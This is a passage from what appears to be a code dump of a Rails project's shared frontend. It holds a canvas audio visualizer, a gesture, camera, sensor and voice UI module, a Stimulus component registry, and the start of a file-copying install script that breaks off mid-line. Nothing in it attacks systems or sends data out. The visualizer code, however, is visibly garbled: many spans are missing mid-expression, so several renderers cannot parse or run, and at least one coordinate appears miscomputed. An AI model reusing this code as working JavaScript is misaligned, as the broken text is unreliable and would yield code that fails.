Shift','Kaleidoscope'];console.log('Psychedelic:',modes[window.psychedelicMode]);return}if(e.code===\"Escape\"){e.preventDefault();if(document.fullscreenElement)toggleFullscreen();return}if(e.code===\"Digit0\"||e.code===\"Numpad0\"){e.preventDefault();audio.trackIndex=0;audio.beginCrossfade({fast:true});return}if(e.code===\"KeyI\"){e.preventDefault();canvas.classList.toggle(\"canvas-inverted\");return}});\n\n    let pageHidden=document.hidden;document.addEventListener(\"visibilitychange\",()=&gt;pageHidden=document.hidden);\n\n    let lastFrameT=performance.now(),lastRenderT=lastFrameT;\n\n    const applyPsychedelic=(a)=&gt;{const mode=window.psychedelicMode||0;const t=performance.now()*0.001;if(mode===0){canvas.style.filter='';canvas.style.opacity='1';canvas.style.transform='';return}if(mode===1){const trail=0.95-Math.abs(a?.flux||0)*0.15;canvas.style.opacity=String(trail);canvas.style.filter='';canvas.style.transform='';}else if(mode===2){const hue=(t*30+a?.average*360)%360;canvas.style.filter=`hue-rotate(${hue}deg) saturate(${1.5+a?.beat*0.5})`;canvas.style.opacity='1';canvas.style.transform='';}else if(mode===3){const scale=1+Math.sin(t*2)*0.05*a?.beat;const rotate=Math.sin(t*0.5)*5*a?.average;canvas.style.filter=`saturate(1.8) contrast(1.1)`;canvas.style.transform=`scale(${scale}) rotate(${rotate}deg)`;canvas.style.opacity='1';}};\n\n    const animate=()=&gt;{const n=performance.now(),d=n-lastFrameT;lastFrameT=n;ewma=ewma*.9+d*.1;if(n-lastRenderT700){if(ewma&gt;22){setScaleAndResize(INTERNAL_SCALE*.92);lastScaleAdjust=n}else if(ewma&lt;14&amp;&amp;INTERNAL_SCALE{if(IN_SANDBOX){const u=document.getElementById(\"uiLabel\");if(u)u.textContent=\"Visual-only (sandboxed)\"}requestAnimationFrame(animate);document.getElementById(\"overlay\").focus()};\n\n    document.readyState===\"loading\"?document.addEventListener(\"DOMContentLoaded\",boot):boot();\n\n    // ===== VISUALIZER ENHANCEMENTS (PIXEL-BASED) =====\n    (function(){\n\n    'use strict';\n\n    const pack32=(r,g,b,a)=&gt;((a&amp;255)&lt;&lt;24)|((b&amp;255)&lt;&lt;16)|((g&amp;255)&lt;&lt;8)|(r&amp;255);\n\n    const TAU=Math.PI*2,HALF_PI=Math.PI/2,THIRD_PI=Math.PI/3,PHI=1.618033988749895;\n\n    const makeRotation=(cx,cy,angle)=&gt;{const c=Math.cos(angle),s=Math.sin(angle);return{x:(x,y)=&gt;cx+(x-cx)*c-(y-cy)*s,y:(x,y)=&gt;cy+(x-cx)*s+(y-cy)*c};};\n\n    const atmosphericHue=(depth,baseHue)=&gt;baseHue+(1-depth)*30;\n\n    window.vizMode=0;window.vizTheme=0;window.vizEffects={particles:true,starfield:true};\n\n    window.vizNames=['Tunnel','Infinity Grid','Cymatic Waves','Fractal Cascade','Vortex Nest','Neural Web','Cosmic Emanation','Hypergrid Spiral'];\n\n    window.vizPsychedelicModes=[0,2,3,1,2,0,3,2];\n\n    window.vizAutoSwitch=true;let lastTrackIndex=-1;\n\n    window.motionScale=()=&gt;(typeof matchMedia===\"function\"&amp;&amp;matchMedia(\"(prefers-reduced-motion: reduce)\").matches?.35:1)*(window.vizSpeed||1);\n\n    // Simplex noise implementation (compact version)\n    const SimplexNoise=(function(){const F2=0.5*(Math.sqrt(3)-1),G2=(3-Math.sqrt(3))/6,F3=1/3,G3=1/6;const grad3=[[1,1,0],[-1,1,0],[1,-1,0],[-1,-1,0],[1,0,1],[-1,0,1],[1,0,-1],[-1,0,-1],[0,1,1],[0,-1,1],[0,1,-1],[0,-1,-1]];function Noise(r){let p,perm,permMod12;r===undefined&amp;&amp;(r=Math.random);p=new Uint8Array(256);for(let i=0;i&lt;256;i++)p[i]=i;for(let i=255;i&gt;0;i--){const n=Math.floor((i+1)*r()),q=p[i];p[i]=p[n];p[n]=q}perm=new Uint8Array(512);permMod12=new Uint8Array(512);for(let i=0;i&lt;512;i++){perm[i]=p[i&amp;255];permMod12[i]=perm[i]%12}this.perm=perm;this.permMod12=permMod12}Noise.prototype.noise2D=function(xin,yin){const perm=this.perm,permMod12=this.permMod12;let n0,n1,n2;const s=(xin+yin)*F2,i=Math.floor(xin+s),j=Math.floor(yin+s),t=(i+j)*G2,X0=i-t,Y0=j-t,x0=xin-X0,y0=yin-Y0;let i1,j1;if(x0&gt;y0){i1=1;j1=0}else{i1=0;j1=1}const x1=x0-i1+G2,y1=y0-j1+G2,x2=x0-1+2*G2,y2=y0-1+2*G2;const ii=i&amp;255,jj=j&amp;255;let t0=0.5-x0*x0-y0*y0;if(t0&lt;0)n0=0;else{const gi=permMod12[ii+perm[jj]];t0*=t0;n0=t0*t0*(grad3[gi][0]*x0+grad3[gi][1]*y0)}let t1=0.5-x1*x1-y1*y1;if(t1&lt;0)n1=0;else{const gi=permMod12[ii+i1+perm[jj+j1]];t1*=t1;n1=t1*t1*(grad3[gi][0]*x1+grad3[gi][1]*y1)}let t2=0.5-x2*x2-y2*y2;if(t2&lt;0)n2=0;else{const gi=permMod12[ii+1+perm[jj+1]];t2*=t2;n2=t2*t2*(grad3[gi][0]*x2+grad3[gi][1]*y2)}return 70*(n0+n1+n2)};return Noise})();\n\n    const noise=new SimplexNoise();\n\n    const THEMES=[\n\n      {name:'Original',fn:(i,l,a)=&gt;{const b=Math.max(0,Math.min(1,a?.bass??.5)),v=Math.max(0,Math.min(1,a?.average??.45)),h=Math.max(0,Math.min(1,a?.high??.35)),d=i/Math.max(1,l-1),r=Math.round(20+60*d),g=Math.round(40+120*v),u=Math.round(180*b+75*h);return pack32(r,g,u,255);}},\n\n      {name:'Synthwave',fn:(i,l,a)=&gt;{const v=Math.max(0,Math.min(1,a?.average??.5)),d=i/Math.max(1,l-1);const r=Math.round(255*Math.pow(d,2)+80*v),g=Math.round(30+120*v),b=Math.round(255*d);return pack32(r,g,b,255);}},\n\n      {name:'Neon',fn:(i,l,a)=&gt;{const h=Math.max(0,Math.min(1,a?.high??.5)),m=Math.max(0,Math.min(1,a?.mid??.5)),d=i/Math.max(1,l-1);const r=Math.round(50+205*h),g=Math.round(255*m),b=Math.round(50+205*d);return pack32(r,g,b,255);}},\n\n      {name:'Fire',fn:(i,l,a)=&gt;{const v=Math.max(0,Math.min(1,a?.average??.5)),b=Math.max(0,Math.min(1,a?.bass??.5)),d=i/Math.max(1,l-1);const r=255,g=Math.round(100*d+155*v),u=Math.round(30*b);return pack32(r,g,u,255);}},\n\n      {name:'Ocean',fn:(i,l,a)=&gt;{const m=Math.max(0,Math.min(1,a?.mid??.5)),h=Math.max(0,Math.min(1,a?.high??.5)),d=i/Math.max(1,l-1);const r=Math.round(30*d),g=Math.round(100+155*m),b=Math.round(150+105*h);return pack32(r,g,b,255);}},\n\n      {name:'Mono',fn:(i,l,a)=&gt;{const v=Math.max(0,Math.min(1,a?.average??.5)),d=i/Math.max(1,l-1);const c=Math.round(100+155*(v*0.5+d*0.5));return pack32(c,c,c,255);}}\n\n    ];\n\n    // Helper: Draw line using Bresenham algorithm\n\n    const drawLine=(u32,w,h,x1,y1,x2,y2,col)=&gt;{let dx=Math.abs(x2-x1),dy=Math.abs(y2-y1),sx=x1=0&amp;&amp;x1=0&amp;&amp;y1-dy){err-=dy;x1+=sx;}if(e2{const r2=radius*radius;for(let dx=-radius;dx&lt;=radius;dx++){for(let dy=-radius;dy&lt;=radius;dy++){const dist=dx*dx+dy*dy;if(dist&lt;=r2){const px=(cx+dx)|0,py=(cy+dy)|0;if(px&gt;=0&amp;&amp;px=0&amp;&amp;py&gt;&gt;24)&amp;255,blue=(col&gt;&gt;&gt;16)&amp;255,green=(col&gt;&gt;&gt;8)&amp;255,red=col&amp;255;const r2=(red*bright)|0,g2=(green*bright)|0,b2=(blue*bright)|0;u32[px+py*w]=pack32(r2,g2,b2,alpha)}else{u32[px+py*w]=col}}}}}};\n\n    // Helper: Initialize pixel buffer for visualizers\n\n    const initBuffer=(ctx,w,h)=&gt;{const imageData=ctx.getImageData(0,0,w,h);const u32=new Uint32Array(imageData.data.buffer);const t=new Uint8ClampedArray(4);t[3]=255;const BLACK32=new Uint32Array(t.buffer)[0];return{imageData,u32,BLACK32}};\n\n    // VIZ 1: INFINITY GRID - Dense square tunnel grid with beat pops &amp; rotation\n\n    class InfinityGridViz{constructor(ctx){this.ctx=ctx;this.w=0;this.h=0;this.time=0;this.grids=[];this.rotation=0;this.beatPop=0;}resize(w,h,s){this.w=w;this.h=h;this.imageData=this.ctx.getImageData(0,0,w,h);this.u32=new Uint32Array(this.imageData.data.buffer);const t=new Uint8ClampedArray(4);t[3]=255;this.BLACK32=new Uint32Array(t.buffer)[0];this.grids=[];for(let i=0;i&lt;120;i++){this.grids.push({z:-250+i*4,ox:Math.random()*60-30,oy:Math.random()*60-30});}}frame(a){try{this.u32.fill(this.BLACK32);const p=window.parallaxOffset||{x:0,y:0};const cx=this.w/2+p.x,cy=this.h/2+p.y,m=window.motionScale?.()||1;this.time+=m*0.5;this.rotation+=m*0.01;this.beatPop=this.beatPop*0.85+(a?.beat||0)*0.15;const audioExpand=(a?.average||0)*60+this.beatPop*40;const speed=1.5+m*0.5;const rot=makeRotation(cx,cy,this.rotation);for(let i=0;i250){g.z-=500;g.ox=Math.random()*60-30;g.oy=Math.random()*60-30;}const sc=300/(300+g.z),size=(80+audioExpand)*sc;const offX=g.ox*(1-g.z/250),offY=g.oy*(1-g.z/250);const gridCX=cx+offX*sc,gridCY=cy+offY*sc;const depth=Math.max(0,1-g.z/250);const hue=atmosphericHue(depth,this.time*20)%360/360;const col=THEMES[window.vizTheme].fn(hue*255,255,a);const x1=(gridCX-size)|0,y1=(gridCY-size)|0,x2=(gridCX+size)|0,y2=(gridCY+size)|0;const rx1=rot.x(x1,y1)|0,ry1=rot.y(x1,y1)|0,rx2=rot.x(x2,y1)|0,ry2=rot.y(x2,y1)|0;const rx3=rot.x(x2,y2)|0,ry3=rot.y(x2,y2)|0,rx4=rot.x(x1,y2)|0,ry4=rot.y(x1,y2)|0;drawLine(this.u32,this.w,this.h,rx1,ry1,rx2,ry2,col);drawLine(this.u32,this.w,this.h,rx2,ry2,rx3,ry3,col);drawLine(this.u32,this.w,this.h,rx3,ry3,rx4,ry4,col);drawLine(this.u32,this.w,this.h,rx4,ry4,rx1,ry1,col);const mid=(size*0.5)|0;if(mid&gt;2){const mx1=(gridCX-mid)|0,my1=(gridCY-mid)|0,mx2=(gridCX+mid)|0,my2=(gridCX+mid)|0;const rmx1=rot.x(mx1,my1)|0,rmy1=rot.y(mx1,my1)|0,rmx2=rot.x(mx2,my1)|0,rmy2=rot.y(mx2,my1)|0;const rmx3=rot.x(mx2,my2)|0,rmy3=rot.y(mx2,my2)|0,rmx4=rot.x(mx1,my2)|0,rmy4=rot.y(mx1,my2)|0;drawLine(this.u32,this.w,this.h,rmx1,rmy1,rmx2,rmy2,col);drawLine(this.u32,this.w,this.h,rmx2,rmy2,rmx3,rmy3,col);drawLine(this.u32,this.w,this.h,rmx3,rmy3,rmx4,rmy4,col);drawLine(this.u32,this.w,this.h,rmx4,rmy4,rmx1,rmy1,col);}if(i%2===0&amp;&amp;i300){w.z-=600;w.freq=1+Math.random()*0.5;}const sc=350/(350+w.z);const baseRad=60+audioRipple+noise.noise2D(w.z*0.01,this.time*0.1)*25;const interference=Math.sin(w.z*0.05*w.freq+this.time*w.freq)*0.3;const rad=(baseRad+baseRad*interference)*sc;const depth=Math.max(0,1-w.z/300);const hue=atmosphericHue(depth,depth*180)%360/360;const col=THEMES[window.vizTheme].fn(hue*255,255,a);for(let sym=0;sym&lt;6;sym++){const symAng=sym*THIRD_PI;for(let i=0;i200){b.z-=400;b.ang=Math.random()*Math.PI*2;}const sc=280/(280+b.z)*this.zoom,len=(40+audioGrow)*sc;const depth=Math.max(0,1-b.z/200);const hue=((depth*200+this.time*30)%360)/360;const col=THEMES[window.vizTheme].fn(hue*255,255,a);for(let sym=0;sym&lt;4;sym++){const symAng=sym*Math.PI/2;const branches=3;for(let i=0;i250){sp.z-=500;sp.rot=Math.random()*TAU;}const sc=300/(300+sp.z);const depth=Math.max(0,1-sp.z/250);const hue=atmosphericHue(depth,depth*240)%360/360;const col=THEMES[window.vizTheme].fn(hue*255,255,a);for(let arm=0;arm200){n.z-=400;n.x=(Math.random()-0.5)*200;n.y=(Math.random()-0.5)*200;}const sc=320/(320+n.z);const nx=(cx+n.x*sc)|0,ny=(cy+n.y*sc)|0;const pulse=(5+audioPulse)*sc;const depth=Math.max(0,1-n.z/200);const col=THEMES[window.vizTheme].fn(depth*255,255,a);drawCircle(this.u32,this.w,this.h,nx,ny,pulse,col,false);for(const n2 of this.neurons){if(n2===n||n2.z150)r.z-=300;const sc=220/(220+r.z);const rayLen=(100+bassExtend)*sc;const wobble=noise.noise2D(r.angle*3,this.time*0.2)*0.15;const ang=r.angle+wobble+midSwirl;const x2=(cx+Math.cos(ang)*rayLen)|0,y2=(cy+Math.sin(ang)*rayLen)|0;const depth=Math.max(0,1-Math.abs(r.z)/150);const col=THEMES[window.vizTheme].fn(depth*255,255,a);drawLine(this.u32,this.w,this.h,cx,cy,x2,y2,col);}const sunSize=(25+bassExtend*0.2)|0;const sunCol=THEMES[window.vizTheme].fn(255,255,a);drawCircle(this.u32,this.w,this.h,cx,cy,sunSize,sunCol,false);for(const s of this.spheres){s.angle+=s.speed*m*0.02+midSwirl*0.3;s.z+=0.5;if(s.z&gt;100)s.z-=200;const sc=250/(250+s.z);const orbitRad=(s.orbit+highFlicker)*sc;const sx=(cx+Math.cos(s.angle)*orbitRad)|0,sy=(cy+Math.sin(s.angle)*orbitRad)|0;const sphSize=(s.size+highFlicker*0.3)*sc;const depth=Math.max(0,1-Math.abs(s.z)/100);const col=THEMES[window.vizTheme].fn(depth*255,255,a);drawCircle(this.u32,this.w,this.h,sx,sy,sphSize,col,false);}this.ctx.putImageData(this.imageData,0,0);}catch(e){console.error('CosmicEmanationViz:',e);}}}\n\n    // VIZ 7: HYPERGRID SPIRAL - Hybrid with particle trails\n\n    class HypergridSpiralViz{constructor(ctx){this.ctx=ctx;this.w=0;this.h=0;this.time=0;this.grids=[];this.particles=[];this.rotation=0;}resize(w,h,s){const buf=initBuffer(this.ctx,w,h);this.w=w;this.h=h;this.imageData=buf.imageData;this.u32=buf.u32;this.BLACK32=buf.BLACK32;this.grids=[];this.particles=[];for(let i=0;i&lt;80;i++){this.grids.push({z:-200+i*5,rot:0});}for(let i=0;i&lt;120;i++){this.particles.push({angle:Math.random()*TAU,radius:Math.random()*150,z:-200+Math.random()*400,speed:0.5+Math.random()*1.5,orbitSpeed:0.02+Math.random()*0.04,trail:[]});}}frame(a){try{for(let i=0;i&gt;8&amp;255),b=(this.u32[i]&gt;&gt;16&amp;255);this.u32[i]=pack32((r*0.92)|0,(g*0.92)|0,(b*0.92)|0,255);}const p=window.parallaxOffset||{x:0,y:0};const cx=this.w/2+p.x,cy=this.h/2+p.y,m=window.motionScale?.()||1;this.time+=m*0.6;this.rotation+=m*0.015;const beatPulse=(a?.beat||0)*50;const audioExpand=(a?.average||0)*40;const rot=makeRotation(cx,cy,this.rotation);for(const g of this.grids){g.z+=1.2*m;g.rot+=0.02*m;if(g.z&gt;200){g.z-=400;}const sc=250/(250+g.z);const size=(50+audioExpand+beatPulse)*sc;const depth=Math.max(0,1-Math.abs(g.z)/200);const hue=atmosphericHue(depth,this.time*25)%360/360;const col=THEMES[window.vizTheme].fn(hue*255,255,a);const grot=makeRotation(cx,cy,this.rotation+g.rot);const x1=(cx-size)|0,y1=(cy-size)|0,x2=(cx+size)|0,y2=(cy+size)|0;const rx1=grot.x(x1,y1)|0,ry1=grot.y(x1,y1)|0,rx2=grot.x(x2,y1)|0,ry2=grot.y(x2,y1)|0;const rx3=grot.x(x2,y2)|0,ry3=grot.y(x2,y2)|0,rx4=grot.x(x1,y2)|0,ry4=grot.y(x1,y2)|0;drawLine(this.u32,this.w,this.h,rx1,ry1,rx2,ry2,col);drawLine(this.u32,this.w,this.h,rx2,ry2,rx3,ry3,col);drawLine(this.u32,this.w,this.h,rx3,ry3,rx4,ry4,col);drawLine(this.u32,this.w,this.h,rx4,ry4,rx1,ry1,col);}for(const pt of this.particles){pt.z+=pt.speed*m;pt.angle+=pt.orbitSpeed*m;if(pt.z&gt;200){pt.z-=400;pt.radius=Math.random()*150;pt.angle=Math.random()*TAU;pt.trail=[];}const sc=280/(280+pt.z);const spiral=pt.z*0.03+this.time*0.5;const r=(pt.radius+Math.sin(spiral)*20)*sc;const ang=pt.angle+spiral;const px=(cx+Math.cos(ang)*r)|0,py=(cy+Math.sin(ang)*r)|0;const depth=Math.max(0,1-Math.abs(pt.z)/200);const hue2=atmosphericHue(depth,this.time*40)%360/360;const pcol=THEMES[window.vizTheme].fn(hue2*255,255,a);const psize=(2+beatPulse*0.08)*sc;drawCircle(this.u32,this.w,this.h,px,py,Math.max(1,psize|0),pcol,false);}this.ctx.putImageData(this.imageData,0,0);}catch(e){console.error('HypergridSpiralViz:',e);}}}\n\n    function init(){const canvas=document.getElementById('canvas');if(!canvas)return console.error('Canvas not found');const ctx=canvas.getContext('2d',{alpha:false,willReadFrequently:true})||canvas.getContext('2d');window.vizRenderers=[window.tunnelRenderer,new InfinityGridViz(ctx),new CymaticWavesViz(ctx),new FractalCascadeViz(ctx),new VortexNestViz(ctx),new NeuralWebViz(ctx),new CosmicEmanationViz(ctx),new HypergridSpiralViz(ctx)];sizeCanvas();if(window.tunnelRenderer&amp;&amp;window.tunnelRenderer.colorForRow32){window.tunnelRenderer.colorForRow32=function(i,l,a){return THEMES[window.vizTheme].fn(i,l,a);};}setInterval(()=&gt;{if(!window.vizAutoSwitch)return;const idx=window.audio?.trackIndex;if(idx!==undefined&amp;&amp;idx!==lastTrackIndex&amp;&amp;lastTrackIndex!==-1){window.vizMode=(window.vizMode+1)%window.vizRenderers.length;window.psychedelicMode=window.vizPsychedelicModes[window.vizMode];console.log('\ud83c\udfb5 Track changed \u2192 Visualizer:',window.vizNames[window.vizMode]);}lastTrackIndex=idx;},500);window.addEventListener('keydown',e=&gt;{if(e.code==='KeyV'){e.preventDefault();window.vizMode=(window.vizMode+1)%window.vizRenderers.length;window.psychedelicMode=window.vizPsychedelicModes[window.vizMode];console.log('Visualizer:',window.vizNames[window.vizMode]);}if(e.code==='KeyC'){e.preventDefault();window.vizTheme=(window.vizTheme+1)%THEMES.length;console.log('Theme:',THEMES[window.vizTheme].name);}if(e.code==='KeyA'){e.preventDefault();window.vizAutoSwitch=!window.vizAutoSwitch;console.log('Auto-switch:',window.vizAutoSwitch);}});console.log('\u2713 Enhanced 8-bit pixel visualizers loaded');console.log('Keys: V=viz, C=color, A=auto-switch, X=psychedelic, \u2191\u2193=speed, []=intensity');}\n\n    if(window.tunnelRenderer){init();}else{const check=setInterval(()=&gt;{if(window.tunnelRenderer){clearInterval(check);setTimeout(init,100);}},100);}\n\n    })();\n\n```\n\n## `rails/shared/frontend/minimal-gesture.js`\n```javascript\n// Shared ultra-minimal gesture + sensor + voice layer for all apps\n// Syncs with MASTER web face philosophy: almost nothing visible, gestures + sensors + Osman TTS\n\nexport function initMinimalUI() {\n  const body = document.body;\n  body.classList.add('zen-minimal');\n\n  // Swipe up from bottom reveals primary input / console\n  let sy = 0;\n  document.addEventListener('touchstart', e =&gt; { sy = e.touches[0].clientY; }, { passive: true });\n  document.addEventListener('touchend', e =&gt; {\n    if (e.changedTouches[0].clientY - sy &lt; -85) {\n      document.querySelectorAll('[data-minimal-reveal=\"console\"], #zsh, .primary-input').forEach(el =&gt; el.classList.add('revealed'));\n    }\n  });\n\n  // Unified swipe gestures (right edge for nav, left for hide, down for content action/Osman read)\n  // Supports touch + desktop mouse drag simulation for creative cross-device\n  let lastTouch = { x: 0, y: 0, time: 0 };\n  const startGesture = (x, y) =&gt; {\n    lastTouch = { x, y, time: Date.now() };\n    if (innerWidth - x &lt; 48) body.dataset.rightEdge = '1';\n  };\n  const endGesture = (x, y) =&gt; {\n    const dx = x - lastTouch.x;\n    const dy = y - lastTouch.y;\n    const dt = Date.now() - lastTouch.time;\n    delete body.dataset.rightEdge;\n\n    if (dx &gt; 60 &amp;&amp; dt &lt; 400 &amp;&amp; lastTouch.x &gt; innerWidth - 80) {\n      const sidebar = document.querySelector('.sidebar, nav, .app-shell &gt; aside');\n      if (sidebar) sidebar.classList.add('revealed');\n    } else if (dx &lt; -100) {\n      document.querySelectorAll('.revealed, .sidebar.revealed').forEach(el =&gt; el.classList.remove('revealed'));\n    } else if (dy &gt; 80 &amp;&amp; Math.abs(dx) &lt; 50) {\n      const main = document.querySelector('main, .app-shell');\n      if (main) main.style.opacity = '0.7';\n      setTimeout(() =&gt; { if (main) main.style.opacity = ''; }, 300);\n      if (window.MASTERMinimalUI?.triggerOsman) window.MASTERMinimalUI.triggerOsman('current content');\n      else if (window.startOsmanVoice) window.startOsmanVoice();\n    }\n  };\n\n  // Touch\n  document.addEventListener('touchstart', e =&gt; startGesture(e.touches[0].clientX, e.touches[0].clientY), { passive: true });\n  document.addEventListener('touchend', e =&gt; endGesture(e.changedTouches[0].clientX, e.changedTouches[0].clientY), { passive: true });\n\n  // Desktop mouse drag sim (for testing/dev creative use)\n  let mouseDown = false;\n  document.addEventListener('mousedown', e =&gt; { mouseDown = true; startGesture(e.clientX, e.clientY); });\n  document.addEventListener('mouseup', e =&gt; { if (mouseDown) { mouseDown = false; endGesture(e.clientX, e.clientY); } });\n  document.addEventListener('mouseleave', () =&gt; { mouseDown = false; });\n\n  // Advanced cam tracking + sensors (innovative mobile-first, synced with MASTER face)\n  async function startCamFace() {\n    try {\n      const stream = await navigator.mediaDevices.getUserMedia({ video: { facingMode: 'user', width: 160, height: 120 } });\n      const v = document.createElement('video'); v.srcObject = stream; v.play();\n      const c = document.createElement('canvas'); const ctx = c.getContext('2d', { willReadFrequently: true });\n      c.width = 80; c.height = 60;\n\n      setInterval(() =&gt; {\n        if (v.readyState &lt; 2) return;\n        ctx.drawImage(v, 0, 0, c.width, c.height);\n        const data = ctx.getImageData(0, 0, c.width, c.height).data;\n        let sumX = 0, sumY = 0, count = 0;\n        for (let i = 0; i &lt; data.length; i += 4) {\n          if ((data[i] + data[i+1] + data[i+2]) / 3 &gt; 60) {\n            const p = i / 4;\n            sumX += p % c.width;\n            sumY += (p / c.width) | 0;\n            count++;\n          }\n        }\n        if (count &gt; 20) {\n          const nx = (sumX / count / c.width - 0.5) * 2;\n          const ny = (sumY / count / c.height - 0.5) * 1.5;\n          // Innovative cam \"face tracking\": central brightness as proxy for user face position\n          // Drives CSS vars for parallax, and syncs to MASTER particle face for \"eye contact\"\n          document.documentElement.style.setProperty('--cam-tilt-x', nx.toFixed(2));\n          document.documentElement.style.setProperty('--cam-tilt-y', ny.toFixed(2));\n          if (window.State) {\n            window.State.mouseX = nx * 0.8;\n            window.State.mouseY = ny * 0.6;\n            // Creative: slight arousal on face when user \"looks\" at it\n            if (Math.abs(nx) &lt; 0.3 &amp;&amp; Math.abs(ny) &lt; 0.3) window.State.pulse = Math.max(window.State.pulse || 0, 0.4);\n          }\n          // Optional: tilt main content subtly for \"presence\" feel\n          const main = document.querySelector('main, .app-shell');\n          if (main) main.style.transform = `translate(${nx * -2}px, ${ny * -1}px)`;\n        }\n      }, 140);\n    } catch (_) {}\n  }\n  if (matchMedia('(pointer: coarse)').matches) setTimeout(startCamFace, 900);\n\n  // Device sensors for creative control (tilt = subtle parallax, shake = clear/refresh)\n  if (window.DeviceOrientationEvent) {\n    window.addEventListener('deviceorientation', (e) =&gt; {\n      const tx = (e.gamma || 0) / 45;\n      const ty = ((e.beta || 0) - 45) / 45;\n      document.documentElement.style.setProperty('--sensor-tilt-x', tx.toFixed(2));\n      document.documentElement.style.setProperty('--sensor-tilt-y', ty.toFixed(2));\n    }, { passive: true });\n  }\n  if (window.DeviceMotionEvent) {\n    let lastShake = 0;\n    window.addEventListener('devicemotion', (e) =&gt; {\n      const acc = e.accelerationIncludingGravity;\n      if (!acc) return;\n      const force = Math.abs(acc.x) + Math.abs(acc.y) + Math.abs(acc.z);\n      if (force &gt; 18 &amp;&amp; Date.now() - lastShake &gt; 800) {\n        lastShake = Date.now();\n        // Shake to clear or trigger voice\n        document.querySelectorAll('.zen-minimal .revealed').forEach(el =&gt; el.classList.remove('revealed'));\n        if (window.MASTERMinimalUI?.triggerOsman) window.MASTERMinimalUI.triggerOsman('refresh');\n      }\n    }, { passive: true });\n  }\n\n  // Osman voice (double-tap brand or long-press on face/canvas)\n  let lastTap = 0;\n  document.addEventListener('click', (e) =&gt; {\n    const logo = e.target.closest('.top-right-logo, .brand');\n    if (logo) {\n      const now = Date.now();\n      if (now - lastTap &lt; 260) {\n        if (window.MASTERMinimalUI?.triggerOsman) window.MASTERMinimalUI.triggerOsman('last');\n        else if (window.speakWithOsman) window.speakWithOsman();\n      }\n      lastTap = now;\n    }\n  });\n\n  // Voice commands: \"Osman, [command]\" using Web Speech API (triggers Osman TTS backend if available)\n  if ('SpeechRecognition' in window || 'webkitSpeechRecognition' in window) {\n    const SpeechRec = window.SpeechRecognition || window.webkitSpeechRecognition;\n    const rec = new SpeechRec();\n    rec.continuous = false;\n    rec.interimResults = false;\n    rec.lang = 'en-US';\n\n    document.addEventListener('keydown', e =&gt; {\n      if (e.key === '/' &amp;&amp; document.activeElement.tagName === 'BODY') {\n        e.preventDefault();\n        try { rec.start(); } catch (_) {}\n      }\n    });\n\n    rec.onresult = (event) =&gt; {\n      const transcript = event.results[0][0].transcript.toLowerCase();\n      if (transcript.includes('osman') || transcript.includes('voice')) {\n        const command = transcript.replace(/osman|voice|hey|ok/gi, '').trim();\n        if (command) {\n          // Trigger Osman via global hook or fetch to /tts (MASTER backend or shared)\n          if (window.MASTERMinimalUI?.triggerOsman) {\n            window.MASTERMinimalUI.triggerOsman(command);\n          } else if (window.speakWithOsman) {\n            window.speakWithOsman(command);\n          } else {\n            // Fallback: browser speech (or could fetch /tts with Osman style if endpoint exists)\n            const utter = new SpeechSynthesisUtterance(`Osman says: ${command}`);\n            speechSynthesis.speak(utter);\n            // Visual cue in face if present\n            if (window.State) window.State.pulse = 0.8;\n          }\n        }\n      }\n    };\n\n    // Expose to start voice mode\n    window.startOsmanVoice = () =&gt; rec.start();\n  }\n}\n\nexport default { initMinimalUI };\n\n// Auto-initialize on module load for  includes in all apps\n// (brgen uses manual import in some cases for flexibility)\nif (typeof window !== 'undefined' &amp;&amp; typeof document !== 'undefined') {\n  const autoInit = () =&gt; {\n    if (typeof initMinimalUI === 'function') {\n      initMinimalUI();\n    }\n  };\n  if (document.readyState === 'loading') {\n    document.addEventListener('DOMContentLoaded', autoInit, { once: true });\n  } else {\n    autoInit();\n  }\n}\n```\n\n## `rails/shared/frontend/stimulus_components.js`\n```javascript\nimport { Application } from \"@hotwired/stimulus\"\n\nimport AutoSubmit from \"@stimulus-components/auto-submit\"\nimport CharacterCounter from \"@stimulus-components/character-counter\"\nimport CheckboxSelectAll from \"@stimulus-components/checkbox-select-all\"\nimport Clipboard from \"@stimulus-components/clipboard\"\nimport ContentLoader from \"@stimulus-components/content-loader\"\nimport Dialog from \"@stimulus-components/dialog\"\nimport Dropdown from \"@stimulus-components/dropdown\"\nimport Hotkey from \"@stimulus-components/hotkey\"\nimport Lightbox from \"@stimulus-components/lightbox\"\nimport Notification from \"@stimulus-components/notification\"\nimport Popover from \"@stimulus-components/popover\"\nimport ReadMore from \"@stimulus-components/read-more\"\nimport Reveal from \"@stimulus-components/reveal\"\nimport ScrollTo from \"@stimulus-components/scroll-to\"\nimport Sortable from \"@stimulus-components/sortable\"\nimport Sound from \"@stimulus-components/sound\"\nimport SpeechRecognition from \"@stimulus-components/speech-recognition\"\nimport TextareaAutogrow from \"@stimulus-components/textarea-autogrow\"\nimport Timeago from \"@stimulus-components/timeago\"\n\nconst application = Application.start()\n\napplication.register(\"auto-submit\", AutoSubmit)\napplication.register(\"character-counter\", CharacterCounter)\napplication.register(\"checkbox-select-all\", CheckboxSelectAll)\napplication.register(\"clipboard\", Clipboard)\napplication.register(\"content-loader\", ContentLoader)\napplication.register(\"dialog\", Dialog)\napplication.register(\"dropdown\", Dropdown)\napplication.register(\"hotkey\", Hotkey)\napplication.register(\"lightbox\", Lightbox)\napplication.register(\"notification\", Notification)\napplication.register(\"popover\", Popover)\napplication.register(\"read-more\", ReadMore)\napplication.register(\"reveal\", Reveal)\napplication.register(\"scroll-to\", ScrollTo)\napplication.register(\"sortable\", Sortable)\napplication.register(\"sound\", Sound)\napplication.register(\"speech-recognition\", SpeechRecognition)\napplication.register(\"textarea-autogrow\", TextareaAutogrow)\napplication.register(\"timeago\", Timeago)\n\n// Futurism (julianrubisch / stimulusreflex/futurism) for Pagy infinite scroll\n// per ruby_style.yml stimulus_reflex_stack. Installed via gem \"futurism\";\n// it registers its own \"futurism\" controller + .\n// See shared/app/views/shared/_futurism_pagy_list.html.erb for the Pagy + Futurism pattern.\n\nwindow.Stimulus = application\nexport { application }\n```\n\n## `rails/shared/install_frontend_baseline.sh`\n```bash\n#!/bin/sh\nset -eu\n\nBASE=\"$(CDPATH= cd -- \"$(dirname -- \"$0\")/..\" &amp;&amp; pwd)\"\nSHARED=\"$BASE/shared\"\nAPPS=\"amber brgen baibl blognet bsdports hjerterom\"\n\ncopy_one() {\n  app=\"$1\"\n  src=\"$2\"\n  dst=\"$3\"\n  [ -f \"$SHARED/$src\" ] || return 0\n  mkdir -p \"$(dirname \"$BASE/$app/$dst\")\"\n  cp \"$SHARED/$src\" \"$BASE/$app/$dst\"\n  printf '%s: %s\\n' \"$app\" \"$dst\"\n}\n\nfor app in ${1:-$APPS}; do\n  copy_one \"$app\" 